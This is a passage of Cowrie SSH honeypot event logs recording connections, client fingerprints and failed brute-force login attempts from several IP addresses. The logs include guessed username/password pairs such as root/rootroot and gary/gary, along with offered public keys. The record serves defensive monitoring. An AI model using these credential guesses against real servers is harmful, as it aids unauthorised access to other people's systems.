{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:31:33.325675Z","src_ip":"61.222.211.114","session":"4fe8166a7693","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:31:33.530538Z","src_ip":"61.222.211.114","session":"4fe8166a7693","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dbus-helper","password":"warnight","message":"login attempt [dbus-helper/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:31:34.378485Z","src_ip":"61.222.211.114","session":"4fe8166a7693","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:31:35.587841Z","src_ip":"61.222.211.114","session":"4fe8166a7693","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:31:35.857760Z","src_ip":"47.86.95.62","session":"4adb42c48841","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:31:35.862026Z","src_ip":"47.86.95.62","session":"4adb42c48841","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.186","src_port":42279,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ecc9dfe1d3f","protocol":"ssh","message":"New connection: 178.20.210.186:42279 (10.17.0.5:22) [session: 4ecc9dfe1d3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:32:00.189707Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:32:00.200297Z","src_ip":"178.20.210.186","session":"4ecc9dfe1d3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:32:00.298033Z","src_ip":"178.20.210.186","session":"4ecc9dfe1d3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gary","password":"gary","message":"login attempt [gary/gary] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:32:00.697721Z","src_ip":"178.20.210.186","session":"4ecc9dfe1d3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":50084,"dst_ip":"10.17.0.5","dst_port":22,"session":"3caf76d2da17","protocol":"ssh","message":"New connection: 47.86.95.62:50084 (10.17.0.5:22) [session: 3caf76d2da17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:32:01.035655Z"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:32:02.114402Z","src_ip":"178.20.210.186","session":"4ecc9dfe1d3f","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:32:09.037261Z","src_ip":"47.86.95.62","session":"3caf76d2da17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:32:16.891545Z","src_ip":"47.86.95.62","session":"3caf76d2da17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootroot","message":"login attempt [root/rootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:32:23.390192Z","src_ip":"47.86.95.62","session":"4adb42c48841","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"97.7","message":"Connection lost after 97.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:32:25.351445Z","src_ip":"47.86.95.62","session":"4adb42c48841","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"61.222.211.114","src_port":35006,"dst_ip":"159.203.135.109","dst_port":22,"session":"3728feed3aff","protocol":"ssh","message":"New connection: 61.222.211.114:35006 (159.203.135.109:22) [session: 3728feed3aff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:33:02.918426Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:33:02.923757Z","src_ip":"61.222.211.114","session":"3728feed3aff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:33:03.131893Z","src_ip":"61.222.211.114","session":"3728feed3aff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"@k0nig123","message":"login attempt [root/@k0nig123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:33:03.985375Z","src_ip":"61.222.211.114","session":"3728feed3aff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:33:05.198876Z","src_ip":"61.222.211.114","session":"3728feed3aff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.235.52.99","src_port":25278,"dst_ip":"10.17.0.5","dst_port":22,"session":"02d4a0faabe2","protocol":"ssh","message":"New connection: 68.235.52.99:25278 (10.17.0.5:22) [session: 02d4a0faabe2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:33:09.107918Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:33:09.112066Z","src_ip":"68.235.52.99","session":"02d4a0faabe2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:33:09.147581Z","src_ip":"68.235.52.99","session":"02d4a0faabe2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"77:0a:3e:06:4e:30:ef:c0:9a:38:70:d1:f3:8c:b7:38","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCjLkAPUqmfa//8L5BW+sO452AXT84roJlGDpdWlamlwc7XUazNeX3I3gcpNLg1EUHH9z3tFEJL1be+gjSLdd7Ai+hUbCO9GIcPBMo8zj1z6Aa7b9x5wywpkG9vNvv2d+/t+e1KsgihDVJHAx8lT+kW9JSQuXf/iOn2DQnWjCyIV/hOEx0f6dHQJjp9KIKuYCVUzv4iyR8esbrj88zMjjYyAz4t+hcw8U8w5f2FA38HlDt0t9H/eYsdt7k33DmlSdcUiYi+u78BVdmbARSMQIYtItub9ZXdDYNjunKoHwjq5EjlaYQM6Ayucx5BVXnhyj43Zn7qo5fzehs+rVnqikxn","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 77:0a:3e:06:4e:30:ef:c0:9a:38:70:d1:f3:8c:b7:38","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:33:09.296141Z","src_ip":"68.235.52.99","session":"02d4a0faabe2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"77:0a:3e:06:4e:30:ef:c0:9a:38:70:d1:f3:8c:b7:38","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCjLkAPUqmfa//8L5BW+sO452AXT84roJlGDpdWlamlwc7XUazNeX3I3gcpNLg1EUHH9z3tFEJL1be+gjSLdd7Ai+hUbCO9GIcPBMo8zj1z6Aa7b9x5wywpkG9vNvv2d+/t+e1KsgihDVJHAx8lT+kW9JSQuXf/iOn2DQnWjCyIV/hOEx0f6dHQJjp9KIKuYCVUzv4iyR8esbrj88zMjjYyAz4t+hcw8U8w5f2FA38HlDt0t9H/eYsdt7k33DmlSdcUiYi+u78BVdmbARSMQIYtItub9ZXdDYNjunKoHwjq5EjlaYQM6Ayucx5BVXnhyj43Zn7qo5fzehs+rVnqikxn","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:33:09.298891Z","src_ip":"68.235.52.99","session":"02d4a0faabe2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fc:65:68:d1:cb:91:6c:3d:d4:43:22:d8:ff:91:5e:e3","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEVXsTVUKkB2YLUhdwIf6Ysoe+XKTz1V2+5MH5AFH6qH","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint fc:65:68:d1:cb:91:6c:3d:d4:43:22:d8:ff:91:5e:e3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:33:09.334103Z","src_ip":"68.235.52.99","session":"02d4a0faabe2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fc:65:68:d1:cb:91:6c:3d:d4:43:22:d8:ff:91:5e:e3","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEVXsTVUKkB2YLUhdwIf6Ysoe+XKTz1V2+5MH5AFH6qH","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:33:09.337635Z","src_ip":"68.235.52.99","session":"02d4a0faabe2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a9:01:28:92:ac:3d:d7:59:f4:e7:75:c7:44:84:41:cb","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIfbrxJ1t7Gc0U/N0wDLatNCJeCr5lYwra8nBf848EcQ","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint a9:01:28:92:ac:3d:d7:59:f4:e7:75:c7:44:84:41:cb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:33:09.371378Z","src_ip":"68.235.52.99","session":"02d4a0faabe2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a9:01:28:92:ac:3d:d7:59:f4:e7:75:c7:44:84:41:cb","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIfbrxJ1t7Gc0U/N0wDLatNCJeCr5lYwra8nBf848EcQ","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:33:09.374843Z","src_ip":"68.235.52.99","session":"02d4a0faabe2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"53:b5:65:e3:1b:4f:40:4f:d2:77:39:fa:d1:bf:73:85","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINZTEkROoPvt04mwLTNvhHSwFVcCzuxmCwT6GtBkZzzg","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 53:b5:65:e3:1b:4f:40:4f:d2:77:39:fa:d1:bf:73:85","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:33:09.408765Z","src_ip":"68.235.52.99","session":"02d4a0faabe2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"53:b5:65:e3:1b:4f:40:4f:d2:77:39:fa:d1:bf:73:85","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINZTEkROoPvt04mwLTNvhHSwFVcCzuxmCwT6GtBkZzzg","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:33:09.412448Z","src_ip":"68.235.52.99","session":"02d4a0faabe2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b7:5b:cd:5b:91:7e:e6:2a:fd:ce:e8:98:f0:bb:4d:42","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMN7NQGVn7lEuYasj+j/RqKdAz/JarLGpHe/t/4pQKxE","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint b7:5b:cd:5b:91:7e:e6:2a:fd:ce:e8:98:f0:bb:4d:42","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:33:09.446940Z","src_ip":"68.235.52.99","session":"02d4a0faabe2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b7:5b:cd:5b:91:7e:e6:2a:fd:ce:e8:98:f0:bb:4d:42","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMN7NQGVn7lEuYasj+j/RqKdAz/JarLGpHe/t/4pQKxE","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:33:09.451701Z","src_ip":"68.235.52.99","session":"02d4a0faabe2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:33:09.486156Z","src_ip":"68.235.52.99","session":"02d4a0faabe2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:34:01.057364Z","src_ip":"47.86.95.62","session":"3caf76d2da17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":36888,"dst_ip":"10.17.0.5","dst_port":22,"session":"da6b49afd692","protocol":"ssh","message":"New connection: 47.86.95.62:36888 (10.17.0.5:22) [session: da6b49afd692]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:35:05.380491Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:35:10.813972Z","src_ip":"47.86.95.62","session":"da6b49afd692","protocol":"ssh"}
